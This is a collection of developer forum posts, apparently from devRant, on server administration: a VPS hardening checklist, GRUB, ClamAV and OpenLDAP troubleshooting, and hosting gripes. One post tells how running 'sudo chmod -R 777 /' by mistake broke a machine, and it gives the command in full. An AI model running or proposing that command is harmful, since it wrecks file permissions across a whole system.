I've been wondering about renting a new VPS to get all my websites sorted out again. I am tired of shared hosting and I am able to manage it as I've been in the past.
With so many great people here, I was trying to put together some of the best practices and resources on how to handle the setup and configuration of a new machine, and I hope this post may help someone while trying to gather the best know-how in the comments. Don't be scared by the lengthy post, please.
The following tips are mainly from @Condor, @Noob, @Linuxxx and some other were gathered in the webz. Thanks for @Linux for recommending me Vultr VPS. I would appreciate further feedback from the community on how to improve this and/or change anything that may seem incorrect or should be done in better way.
1. Clean install CentOS 7 or Ubuntu (I am used to both, do you recommend more? Why?)
2. Install existing updates
3. Disable root login
4. Disable password for ssh
5. RSA key login with strong passwords/passphrases
6. Set correct locale and correct timezone (if different from default)
7. Close all ports
8. Disable and delete unneeded services
9. Install CSF
10. Install knockd (is it worth it at all? Isn't it security through obscurity?)
11. Install Fail2Ban (worth to install side by side with CSF? If not, why?)
12. Install ufw firewall (or keep with CSF/Fail2Ban? Why?)
13. Install rkhunter
14. Install anti-rootkit software (side by side with rkhunter?) (SELinux or AppArmor? Why?)
15. Enable Nginx/CSF rate limiting against SYN attacks
16. For a server to be public, is an IDS / IPS recommended? If so, which and why?
17. Log Injection Attacks in Application Layer - I should keep an eye on them. Is there any tool to help scanning?
If I want to have a server that serves multiple websites, would you add/change anything to the following?
18. Install Docker and manage separate instances with a Dockerfile powered base image with the following? Or should I keep all the servers in one main installation?
19. Install Nginx
20. Install PHP-FPM
21. Install PHP7
22. Install Memcached
23. Install MariaDB
24. Install phpMyAdmin (On specific port? Any recommendations here?)
I am sorry if this is somewhat lengthy, but I hope it may get better and be a good starting guide for a new server setup (eventually become a repo). Feel free to contribute in the comments.24 -
UGH.
I hate when I have to debug an issue and find out its somewhere entirely else, than I was looking.
>Installs a virtual server on the Proxmox VE platform
>Reboots and grub be like "No such device *UUID*"
Whut?
Okay, so... reinstall grub, maybe a bug in the automated install?
>Nop.exe, still an issue
Huh...
>Partition tables all good, drives all visible when booted from a live environment, grub is up to date
>Finally gives up and goes to mess in the (terrible) grub rescue environment
>Grub only sees (hd0) while root is on (hd2), what?
>A whole lot of cursing ensues, wtf?
Turns out it was a bug, but not in grub... Rather, in the QEMU-KVM agent daemon, wtf!
I never had to deal with a bug in the virtualization agent itself.
Downgrading from pve-qemu-kvm 5.0.x to 4.0.x solved the issue.
Now, maybe, I can finally go have my lunch... -
Say what you will but React JS development is utterly exhausting. Every React project is a totally new stack and there is no consensus in the ecosystem.That is how I feel after having worked on 5 big SPA React JS projects over the course of 5 years.
The structure of these projects was all but similar: most used HOC's, some render props, functions-as-a-child, hooks or rather component lifecycles, some used container-components, some Redux, others sprinkled business logic & state all over, and yet others use a mix of server-side rendering and "hydration"...
I dangerouslySetInnerHTML on LazyExoticComponents, and dared not useEffect on the DO_NOT_TOUCH_OR_YOU_WILL_BE_FIRED root property. Hooks embrace functions, but without sacrificing the practical spirit of React, you see.
I didn't make this up. It's verbatim from the code and the docs.
This is not web development, this is at best a tedious fantasy multiplayer game or at worst, a costly joke.5 -
Json host files of a whole server networks root server passwords under the webservers configs directory open to the public.
-
This happened to me sometime back.
I want to try out a WordPress plugin in my local machine before installing on a production server. It is an Ubuntu machine. Downloaded and installed Xampp, then setup WordPress with MySQL. Now tried uploading the plugin zip file, it throws some permission error, asking to fix permissions or use FTP. I thought of just chmod 777 recursively for the WordPress directory to fix this easily.
Ran the command, looks like it is hung. Terminated using Ctrl+C and then ran the same command. Again it is taking much time. It should not take so much time to recursively change the permission of just a WordPress directory. Thought something was wrong. Before I realized the damage is already done.
Looks like I ran the command
sudo chmod -R 777 /
instead of
sudo chmod -R 777 ./
Fuck, I missed a dot in the command and it is changing permissions of everything in my machine. Saw the System monitor, CPU usage spiked to 100%. I can't close or open any program. Force shutdown the machine using the power key. It didn't boot again. Recovery mode didn't help. Looks like there is no easy way to restore back from this damage. Most of the files I need are backed up in the cloud, still, need a few more personal files so that I can format and reinstall Ubuntu. Realised I have Windows in dual booting. Boot into Windows and used some ext4 reader to recover the files, formatted and reinstalled the OS. Took a few hours to get back to my previous setup.
Lesson Learned: Don't use sudo unnecessarily.
Double check the command while executing.
Running a wrong command with root permission can fuckup your entire machine. -
These cloudways people are crazy. I tried a trial on them, only to learn that we don't get root access to the server which they never really mentioned anywhere.
Also, they hiked the price like 20℅ on starter plans, which again was only shown i logged in.
And this guy has been emailing me since last 2 weeks, telling how couldn't call them or contact me. I'm so glad. I never replied and he still emails asking for feedback!
I legitimately feel like I'm getting stalked.. :|
I'll give feedback , maybe 1000 years later! -
Me, trying to access an old mysql database on a Linux server, the root user gets rejected. Out of frustration I delete mysql entirely and try to start again.
I was not using sudo to access the root user...
In the bright side, the deleted mysql version was actually an old one, the database is actually fine.1 -
I think I found out why Cengage hasn't gotten back to me on their root-server issue: They're leased by next.tech (that's their name and URL) and it's literally an iframe from them inside like 7 Cengage iframe wrappers (which is also why it runs like ass apparently!)
next.tech supplies cengage with the actual heavy lifting, and cengage is literally a shitty wrapper for it.
"Our SmartScaled infrastructure ensures your users have a secure computing environment available in seconds." fucking bullshit i'm already root in my own personal server you've handed to me -
Bullshittery continues. This time around, absolutely innocent, clamav is root cause. For once not incompetent idiot, but piece of software. IDK if that makes me happy or upset.
So our email server that I configured and took care of died. RIP. Damn, better put it back together ASAP. So Im under pressure, while still pissed at everything that I ranted before (actually my last 2 rants were throttled, and in total all of that happened past 60 minutes but devrant rate limiting) I start auditing logs. You imagine, we kindda need it NOW, and it's second time last month clamav is pulling stunts and MTA refuses (properly) to work without antivirus. So pressurized, I look at logs, what the fuck went wrong.
clamav deamonize() failed - cannot allocate memory
Hmm. Intresting, but sounds like bullshit. I know server is quite micro becouse they wanted to save on costs as much as possible, but it has well over half a gig free ram just before it crashes (like 800MB) with that message. Is it allocating almost gig in one call or what? Looked carefully at trusty htop while it was starting, and indeed, suddenly it just dies with quite a bit of ram free, almost as much as it weights already. And I remember booting it up when I was configuring it, and it had fair bit of headroom.
Google, help me friend... Okay, great, so apparently at some point clamav loads virus DB into ram (dafuq?), and than forks, which causes spike of 2x the ram usage, and than immidietely frees it up.
Great, that sounds like great design decision... At least I know, I can just slap on SWAP file, restart it and call it a day.
It worked, swap file is almost empty (used 15megs, 900 megs free ram, whatever).
That leaves me wandering, who figured out to load DB to ram? That means pretty much that clamav will eat a little bit more ram each vir db update, and that milisecond "double ram" spike will confuse innocent people who just wanted to run clamav and it worked last *long period of time* and now crashes without warning without any changes to configuration.
Maybe there is logical explanation, I want to know it.8 -
Linux noob... just accidentally made myself (not root) owner on all files. seemed fine for a while, but I couldn't sudo or even ssh. had to rollback my server nearly a month to fix it 😭
-
Today I deployed my first website with Wordpress’ second wpdb object. After scratching my head and frantically googling for 2 hours why it works on my machine but not the deployment server, I realised that I’d set the username and password to DB_USER and DB_USER...
So root root works but anything else doesn’t....1 -
Jenkins, why you be so fucked up? The same pipeline file runs in one folder, but fails at the root of the Jenkins server. It's the same code! Literally, the exact same code, I just moved the job into a different folder.2
-
Relatively often the OpenLDAP server (slapd) behaves a bit strange.
While it is little bit slow (I didn't do a benchmark but Active Directory seemed to be a bit faster but has other quirks is Windows only) with a small amount of users it's fine. slapd is the reference implementation of the LDAP protocol and I didn't expect it to be much better.
Some years ago slapd migrated to a different configuration style - instead of a configuration file and a required restart after every change made, it now uses an additional database for "live" configuration which also allows the deployment of multiple servers with the same configuration (I guess this is nice for larger setups). Many documentations online do not reflect the new configuration and so using the new configuration style requires some knowledge of LDAP itself.
It is possible to revert to the old file based method but the possibility might be removed by any future version - and restarts may take a little bit longer. So I guess, don't do that?
To access the configuration over the network (only using the command line on the server to edit the configuration is sometimes a bit... annoying) an additional internal user has to be created in the configuration database (while working on the local machine as root you are authenticated over a unix domain socket). I mean, I had to creat an administration user during the installation of the service but apparently this only for the main database...
The password in the configuration can be hashed as usual - but strangely it does only accept hashes of some passwords (a hashed version of "123456" is accepted but not hashes of different password, I mean what the...?) so I have to use a single plaintext password... (secure password hashing works for normal user and normal admin accounts).
But even worse are the default logging options: By default (atleast on Debian) the log level is set to DEBUG. Additionally if slapd detects optimization opportunities it writes them to the logs - at least once per connection, if not per query. Together with an application that did alot of connections and queries (this was not intendet and got fixed later) THIS RESULTED IN 32 GB LOG FILES IN ≤ 24 HOURS! - enough to fill up the disk and to crash other services (lessons learned: add more monitoring, monitoring, and monitoring and /var/log should be an extra partition). I mean logging optimization hints is certainly nice - it runs faster now (again, I did not do any benchmarks) - but ther verbosity was way too high.
The worst parts are the error messages: When entering a query string with a syntax errors, slapd returns the error code 80 without any additional text - the documentation reveals SO MUCH BETTER meaning: "other error", THIS IS SO HELPFULL... In the end I was able to find the reason why the input was rejected but in my experience the most error messages are little bit more precise.2 -
What would you recommend for an programming aprentice?
Dedicated server (DS) or shared hosting(SH)?
A DS is more expensive, but i could learn much more in Ops. Shared hosting is cheaper (and i already have a virtual one with access to root, but no sudo)...
- Greetings from switzerland.
PS i only choose swiss hoster ;)5 -
What's the simplest way to deploy a small node project to a private root server, possibly dockerized?
I feel like there are thousands of possibilities nowadays, like Ansible and so on. But is there something more in the the KISS way? Apart from just hacking a bash script together of course, it should be portable (and work on windows too).1 -
I can't find a complete answer to this question, maybe this community has one:
Does putting an html file, with pure html code (without any php), as .php have any impact (or is processed differently) on the server load compared to simple .html?
Of course, if the content doesn't contain any php code to be processed it doesn't affect the performance, but the simple fact of declaring it as .php cause a different processing root on the server to output the same html result?
I'm aware that if there is any impact, not sure yet, tt's probably negligible, but I'm just curious about the backend root followed.
So, anyone know how exactly these two scenarios are handled (step by step) by the server?
1) Request of pure html as .html.
2) Request of pure html as .php.
My instinct says there must be an additional step in the second scenario to interpret and search for php code to execute.
There is? And does it have any calculatable impact, that multiples for X requests (ignoring caching) and depends of the length of the file?
Thanks5 -
Anybody got experience with Rancher (https://rancher.com) on Ubuntu?
Checked it out and it looks really well made. You can build a Cluster in Minutes and mount a phyisical storage to it.
Im planning to drop a Full Stack Root Server with it and would be really glad to hear on your opinions 😁3 -
If I use a connector to pull files from an SFTP server and when I configure it to pull all files from the root folder after it logs in but it actually pulls from the machine's root directory, is that really an SFTP server or just a server? Is that even secure?4
-
Netcup Review !?
Anyone who has experience with this hosting provider ?
I’m interested for root server.5 -
I need help structuring a new TypeScript project built on a MERN stack. I used CRA for the client, so I opted to have separate tsconfig files -- one for client (auto-generated by CRA) and one for server (extends node12 tsconfig). However, I'm trying to setup eslint and prettier globally so that the lint/style rules are uniform across the codebase. CRA adds an eslint config that extends react-app, which is fine, but I'd like to still have my global rules. I have written my eslintrc.json file and am happy with it, so I placed it in the project root directory. I figured I would install eslint, prettier, etc. in the project root, then when I run eslint globally, it would lint the server code with the global rules and the client code with the global rules and the react-scripts rules.
However, react-scripts complains that I've installed a newer version of eslint in a parent directory. I can either ignore that rule or use the same version as react-scripts, but it seems like react-scripts is going to run eslint on its own when I run npm start, regardless of if I have a global config. What should I do? Is there a better way to structure the app?1 -
I spent half a day trying to figure out why the app on the staging server does not log in the app log file while it does on the dev server.
Server log said log config file found but could not find the root logger.
Problem was that the directory was readable for the app, but not the logfile configuration file.
Dear devs, when a file is not readable that might be some interesting information one could write into a log. AT LEAST MORE INTERESTING THAN "APPLICATION STARTING..."